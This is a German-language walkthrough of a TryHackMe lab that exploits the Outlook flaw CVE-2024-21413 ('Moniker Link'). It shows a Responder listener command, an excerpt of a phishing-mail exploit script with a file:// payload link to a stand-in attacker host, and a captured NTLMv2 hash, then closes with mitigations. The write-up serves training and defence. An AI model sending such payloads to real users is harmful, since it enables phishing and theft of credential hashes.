TryHackMe: Moniker Link — CVE-2024-21413 Walkthrough

Ein vollständiger Walkthrough für TryHackMes Raum „Moniker Link“: die Ausnutzung von CVE-2024-21413, einer Microsoft-Outlook-Sicherheitslücke aus dem Jahr 2024, um den NTLMv2-Hash eines Opfers zu stehlen, sobald es auf einen Link in einer Phishing-E-Mail klickt – ohne Makro, ohne Anhang, ohne offensichtliche Sicherheitswarnung.

CVE-2024-21413 („Moniker Link“) ist eine Sicherheitslücke in der Art und Weise, wie Outlook file://-Links validiert, die die Windows-OLE-„Moniker“-Syntax verwenden (ein nachgestelltes ! nach dem Pfad, z. B. file://host/share!something). Outlook soll externe Dateilinks über die Geschützte Ansicht (Protected View) öffnen, die die Datei in einer Sandbox ausführt und den Benutzer warnt, bevor Anmeldeinformationen durchsickern können. Das zusätzliche ! stört den URL-Parser von Outlook gerade genug, dass er die Geschützte Ansicht vollständig überspringt und den Link direkt an Windows übergibt, das – weil es wie ein UNC-Pfad aussieht – stillschweigend eine SMB-Authentifizierung gegen den Server des Angreifers versucht. Dieser Authentifizierungsversuch gibt den NTLMv2-Hash des Opfers preis, bevor das Opfer irgendetwas anderes getan hat, als auf einen normal aussehenden Link zu klicken.

Aufbau des Raums

Walkthrough

1. Listener einrichten

responder -I ens5

Responder wird auf dem Interface der Angreifer-Maschine gestartet, bevor irgendetwas gesendet wird, mit aktiviertem LLMNR-, NBT-NS- und DNS-Poisoning. Genau das fängt den Leak der Anmeldedaten ab: Sobald der Exploit Outlook dazu verleitet, eine SMB-Authentifizierung gegen die IP des Angreifers zu versuchen, lauscht Responder am anderen Ende, um sie abzufangen.

1. Aufklärung — das Postfach des Opfers

Das Ziel ist ein standardmäßiges Outlook-Postfach, [email protected], das sich vor Eintreffen der Phishing-E-Mail in der normalen Posteingangsansicht befindet – die Ausgangsbasis, auf der der Rest des Raums aufbaut.

3. Aufbereiten — das Exploit-Skript

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

Der Exploit (CMNatics öffentlicher CVE-2024-21413-PoC) ist ein kleines Python-Skript, das eine HTML-E-Mail erstellt und über SMTP sendet. Die Nutzlast steckt vollständig in einer Zeile: ein <a href="file://...">-Link, der auf die Maschine des Angreifers zeigt, mit einem nachgestellten !exploit am Pfad. Dieses nachgestellte ! ist der gesamte Fehler – es bringt den Link-Parser von Outlook dazu, die URL falsch zu klassifizieren und die Prüfung der Geschützten Ansicht zu überspringen, die es normalerweise bei einem externen Dateilink anwenden würde.

4. Zustellen — Senden der E-Mail

python3 exploit.py
Enter your attacker email password: attacker
Email delivered

Wenn das Skript ausgeführt wird, authentifiziert es sich am Mailserver und sendet die präparierte E-Mail an das Opfer. Email delivered bestätigt, dass sie das Postfach des Angreifers erfolgreich verlassen hat.

4. Zustellen — Ankunft im Postfach des Opfers

Die E-Mail kommt im Posteingang von [email protected] von CMNatic an, Betreff CVE-2024-21413, und enthält nichts weiter als einen einzelnen Hyperlink mit dem Text „Click me“ – keinen Anhang, keine Makrowarnung, nichts, was normalerweise einen Phishing-Filter oder einen vorsichtigen Benutzer misstrauisch machen würde.

5. Erfassen — das Opfer klickt auf den Link

Ein Klick auf „Click me“ löst den Windows-Explorer-Fehlerdialog von Outlook aus: „Wir können '\10.113.72.84\test!exploit' nicht finden. Bitte stellen Sie sicher, dass Sie den richtigen Speicherort oder die richtige Webadresse verwenden.“ Dieser Fehler ist tatsächlich der Beweis, dass der Exploit bereits funktioniert hat – wenn dieser Dialog erscheint, hat Windows bereits versucht, diesen UNC-Pfad über SMB aufzulösen, und sich dabei bereits bei 10.113.72.84 (der Angreifer-Maschine) authentifiziert. Der sichtbare Fehler ist nur, dass Explorer eine Freigabe nicht findet, die nie existieren sollte; der Leak der Anmeldedaten ist bereits still geschehen, bevor das Fehlerfenster überhaupt auftauchte.

5. Erfassen — Hash in Responder erfasst

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...

Zurück auf der Angreifer-Maschine hat Responder bereits den vollständigen NTLMv2-SSP-Handshake für THM-MONIKERLINK\tryhackme erfasst, der von 10.113.150.143 (dem Opfer) stammt. Keine Anmeldeaufforderung, keine Sicherheitswarnung und keine Benutzeraktion außer einem einzigen Klick auf einen Link, der wie ein gewöhnlicher Link aussah – der Hash war in dem Moment bereit, geknackt oder für einen Relay-Angriff verwendet zu werden, als Outlook den Moniker-Link falsch verarbeitete.

Verwendete Tools

• Responder — LLMNR/NBT-NS/DNS-Poisoning und Erfassung von SMB-Authentifizierungsdaten
• Ein benutzerdefiniertes Python-SMTP-Skript (CMNatics CVE-2024-21413-PoC) — erstellt und liefert die bösartige E-Mail mit dem Moniker-Link
• Microsoft Outlook (Opfer-Client) — die anfällige Komponente; Version, die von CVE-2024-21413 betroffen ist, vor dem Microsoft-Patch vom Februar 2024

Wichtigste Erkenntnisse

• Ein einziges nachgestelltes Zeichen (!) war die gesamte Sicherheitslücke. CVE-2024-21413 ist eine gute Erinnerung daran, dass URL-/Pfad-Parser eine häufige Quelle für die Umgehung von Sicherheitsgrenzen sind – eine fehlerhafte Eingabe muss nicht komplex sein, um eine Prüfung zu umgehen, sie muss nur in einen Codepfad gelangen, den die Prüfung nicht abdeckt.
• Die Geschützte Ansicht existiert genau, um diese Art von Angriff zu stoppen, und die eigentliche Auswirkung des Fehlers war, sie still zu umgehen, nicht der NTLM-Leak selbst – NTLM-Relay/-Capture über einen file://-Link ist eine alte Technik; was diese CVE bemerkenswert machte, war, dass Outlook den Link überhaupt nicht ohne Warnung hätte auslösen lassen dürfen.
• NTLM-Authentifizierung gibt Anmeldedaten bereits durch den bloßen Versuch preis, selbst wenn die „Freigabe“ am anderen Ende nicht existiert. Das Opfer hat weder ein Passwort eingegeben noch eine Anmeldeaufforderung gesehen; Windows hat einen NTLMv2-Hash automatisch als Teil des Versuchs übergeben, einen UNC-Pfad zu durchsuchen (und zu scheitern).
• Aus Sicht des Opfers ist dies ein nahezu Zero-Click-Angriff — ein Klick auf einen Link ohne Anhang, ohne Makro und ohne offensichtliches Warnsignal genügte. Patchen (Microsoft hat dies im Update vom Februar 2024 behoben) und das Deaktivieren der ausgehenden NTLM-Authentifizierung gegenüber nicht vertrauenswürdigen Hosts sind die beiden wirklichen Gegenmaßnahmen; Benutzerschulungen allein hätten dies nicht verhindert, da nichts an der E-Mail ungewöhnlich aussah.